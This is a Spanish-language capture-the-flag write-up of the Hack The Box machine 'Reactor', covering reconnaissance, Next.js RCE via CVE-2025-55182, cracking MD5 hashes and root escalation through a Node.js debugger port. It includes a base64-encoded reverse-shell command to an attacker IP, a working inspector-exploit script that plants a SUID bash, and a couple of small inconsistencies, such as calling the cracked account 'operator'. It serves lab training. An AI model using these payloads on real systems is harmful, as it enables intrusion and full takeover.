Descripción

Reactor está clasificada como una máquina de dificultad fácil en Hack The Box. Las vulnerabilidades y pasos clave identificados en esta máquina incluyen:

  • Vulnerabilidad inicial en la aplicación web (NextJS) que permite una potencial Ejecución Remota de Código (RCE)
  • Compromiso de la base de datos que conduce a la obtención de hashes de credenciales de usuario
  • Una cuenta de usuario de bajo privilegio con acceso a sistemas internos
  • Un punto final de depuración de Node.js crítico que se ejecuta con privilegios elevados (Root), lo que permite la escalada de privilegios

Reconocimiento

La fase inicial de reconocimiento es primordial para comprender la arquitectura y el estado operativo del objetivo. Al realizar un escaneo simple de ping en la dirección IP objetivo, 10.129.1.23, podemos recopilar información preliminar sobre el sistema operativo.

El valor TTL (Tiempo de Vida) observado en la respuesta de ping fue 63, lo cual es característico de un sistema operativo tipo Unix (Linux). Esto acota inmediatamente nuestro enfoque para la fase de explotación posterior, ya que los hosts Windows típicamente presentan valores TTL diferentes.

$ ping -c 3 10.129.1.23
PING 10.129.1.23 (10.129.1.23) 56(84) bytes of data.
64 bytes from 10.129.1.23: icmp_seq=1 ttl=63 time=51.3 ms
64 bytes from 10.129.1.23: icmp_seq=2 ttl=63 time=51.3 ms
64 bytes from 10.129.1.23: icmp_seq=3 ttl=63 time=51.1 ms

--- 10.129.1.23 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 51.108/51.241/51.317/0.094 ms

A continuación, utilizamos Nmap para realizar un escaneo básico, identificando los puertos activos y servicios expuestos por el objetivo. Este escaneo inicial reveló rápidamente dos puertos abiertos: SSH (22/tcp) y un servicio personalizado en el puerto 3000/tcp.

$ sudo nmap 10.129.1.23 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.1.23
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds

Enumeración

Con la lista de puertos inicial establecida, la fase de enumeración requiere una inmersión más profunda en los servicios para comprender sus versiones específicas y posibles superficies de ataque. Esta información detallada es crucial para hacer coincidir los servicios con vulnerabilidades conocidas.

Ejecutamos un escaneo de Nmap más exhaustivo, solicitando la detección de versiones de servicio (-sV) y la ejecución de scripts por defecto (-sC) específicamente contra los puertos identificados:

$ nmap 10.129.1.23 -sV -sC -p22,3000 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.1.23
Host is up (0.049s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_  256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds

El análisis del servicio en el puerto 3000 reveló que aloja una aplicación web construida con Next.js, descrita como una aplicación de métricas para un reactor nuclear. Añadimos el dominio objetivo reactor.htb al archivo hosts local para garantizar una resolución consistente durante la fase de explotación.

$ echo '10.129.1.23 reactor.htb' | sudo tee -a /etc/hosts

Al examinar la aplicación, identificamos una vulnerabilidad potencial relacionada con NextJS. Específicamente, investigamos la vulnerabilidad CVE-2025-55182. Esta falla crítica en React Server Components permite la Ejecución Remota de Código (RCE) sin autenticación, al deserializar de manera insegura cargas útiles de las solicitudes HTTP dirigidas a puntos finales de Función de Servidor.

Explotación

El vector principal para la intrusión inicial es la vulnerabilidad RCE en la aplicación NextJS. Utilizamos un Proof-of-Concept (PoC) personalizado desarrollado por la comunidad para explotar esta debilidad.

Primero, configuramos un puerto de escucha para recibir la conexión del shell inverso:

$ nc -nvlp 1234

Luego, clonamos y ejecutamos el PoC, inyectando una carga útil codificada en base64 diseñada para ejecutar un shell inverso tras la explotación exitosa.

$ git clone https://github.com/imbas007/POC-CVE-2025-55182
$ cd POC-CVE-2025-55182
$ python CVE-2025-55182-Exp.py -u http://10.129.1.23:3000 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OS8xMjM0IDA+JjE= | base64 -d | bash"
...
[*] Scanning http://10.129.1.23:3000...
[+] http://10.129.1.23:3000 - App Router detected
[FAIL] http://10.129.1.23:3000 - No RCE output

Aunque el intento inicial de RCE no generó un shell inmediatamente, la ejecución exitosa nos permitió obtener un shell inverso como el usuario node, concediéndonos un punto de apoyo (foothold) en el sistema.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.1.23] 52974
bash: cannot set terminal process group (1370): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$ id
id
uid=999(node) gid=988(node) groups=988(node)

Configuramos el entorno de la terminal para que fuera totalmente interactivo.

node@reactor:/opt/reactor-app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
node@reactor:/opt/reactor-app$ ^Z
$ stty raw -echo; fg
$ reset xterm
node@reactor:/opt/reactor-app$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Dentro del directorio de la aplicación (/opt/reactor-app), descubrimos una base de datos SQLite, reactor.db. Esta base de datos contenía registros de usuarios, incluyendo hashes MD5 para dos usuarios: admin y engineer. Utilizamos el cliente sqlite3 para extraer los datos:

node@reactor:/opt/reactor-app$ file reactor.db 
reactor.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 7, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 7
node@reactor:/opt/reactor-app$ sqlite3 reactor.db 
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs  users      
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Utilizando la herramienta John The Ripper contra estos hashes, pudimos descifrar la contraseña para el usuario operator, descubriendo la contraseña en texto plano reactor1.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
reactor1         (engineer)     
1g 0:00:00:00 DONE 50.00g/s 16857Kp/s 16857Kc/s 16857KC/s rhegie..rayleen
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Aprovechamos estas credenciales para establecer una conexión SSH como el usuario engineer, transitando del contexto de bajo privilegio node a un usuario estándar del sistema.

$ ssh engineer@10.129.1.23
engineer@reactor:~$ id
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)

Post-Explotación

La transición al usuario engineer proporciona una base estable para un reconocimiento más profundo. El objetivo de esta fase es identificar y explotar un vector de escalada de privilegios para lograr acceso root.

Utilizando el comando ss, examinamos los oyentes de red activos en la máquina. Un descubrimiento crucial fue un servicio ejecutándose en el puerto 9229, identificado como un puerto de depuración de Node.js.

engineer@reactor:~$ ss -tulnp
Netid          State           Recv-Q          Send-Q                   Local Address:Port                     Peer Address:Port          Process          
tcp            LISTEN          0               4096                     127.0.0.53%lo:53                            0.0.0.0:*                              
tcp            LISTEN          0               4096                        127.0.0.54:53                            0.0.0.0:*                              
tcp            LISTEN          0               4096                           0.0.0.0:22                            0.0.0.0:*                              
tcp            LISTEN          0               511                          127.0.0.1:9229                          0.0.0.0:*                              
tcp            LISTEN          0               4096                              [::]:22                               [::]:*                              
tcp            LISTEN          6               511                                  *:3000                                *:*

Confirmamos que el proceso que se ejecutaba en el puerto 9229 era un script de trabajador de Node.js, y de forma crítica, estaba ejecutándose como el usuario root. Esto representa una configuración errónea significativa y un objetivo de alto valor para la escalada de privilegios.

engineer@reactor:~$ ps -ef | grep 9229
root        1372       1  0 May21 ?        00:00:14 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Para explotar esto, establecimos un reenvío de puerto local, mapeando el puerto de depuración interno 9229 a nuestra máquina atacante, lo que nos permite interactuar con el proceso propiedad de root.

$ ssh -N -L 9229:127.0.0.1:9229 engineer@10.129.1.23

Luego enumeramos el punto final de depuración de Node.js consultando el punto final de lista JSON, confirmando que era efectivamente el puerto de depuración:

$ curl 127.0.0.1:9229/json/list
[ {
  "description": "node.js instance",
  "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/20733d31-b4e3-413d-9560-c55733095140",
  "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/20733d31-b4e3-413d-9560-c55733095140",
  "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
  "id": "20733d31-b4e3-413d-9560-c55733095140",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "url": "file:///opt/uptime-monitor/worker.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/20733d31-b4e3-413d-9560-c55733095140"
} ]

El paso final en la escalada de privilegios implicó aprovechar el protocolo de depuración WebSocket de Node.js para ejecutar código JavaScript arbitrario. Creamos una carga útil que utilizó child_process para crear un binario Bash con el bit SUID, otorgándonos permisos efectivos de root al ejecutarse.

El script de Python para la explotación, que requiere la biblioteca websocket-client, es el siguiente:

import urllib.request, json
from websocket import create_connection

# 1. Obtener la URL de WebSocket
with urllib.request.urlopen("http://127.0.0.1:9229/json/list") as r:
    ws_url = json.loads(r.read().decode())[0]['webSocketDebuggerUrl']

# 2. Conectar y enviar la carga útil
ws = create_connection(ws_url)
payload = "process.mainModule.require('child_process').exec('cp /bin/bash /tmp/bash-suid; chmod u+s /tmp/bash-suid')"

ws.send(json.dumps({
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {"expression": payload}
}))

# 3. Recibir la respuesta sin procesar y cerrar
print(ws.recv())
ws.close()

Después de instalar la dependencia requerida (websocket-client) y ejecutar el script, la máquina confirmó la ejecución exitosa de la carga útil.

$ python -m virtualenv .env
$ . .env/bin/activate
$ pip install websocket-client
$ python attack.py
{"id":1,"result":{"result":{"type":"object","className":"ChildProcess","description":"ChildProcess","objectId":"5132275223032789128.1.1"}}}

Confirmamos la creación del binario SUID en el sistema listando el archivo:

engineer@reactor:~$ ls /tmp/bash-suid
/tmp/bash-suid

Ejecutar el binario recién creado confirma la exitosa escalada a privilegios de root:

engineer@reactor:~$ /tmp/bash-suid -p
bash-suid-5.2# id
uid=1000(engineer) gid=1000(engineer) euid=0(root) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)

Ahora hemos logrado la ejecución de comandos como usuario root, lo que nos permite recuperar las flags requeridas.

Flags

La ejecución exitosa del binario SUID como root nos permitió recuperar tanto la flag de usuario como la de root de los archivos designados dentro del sistema: user.txt y root.txt.

bash-suid-5.2# cat /home/engineer/user.txt 
<REDACTED>
bash-suid-5.2# cat /root/root.txt 
<REDACTED>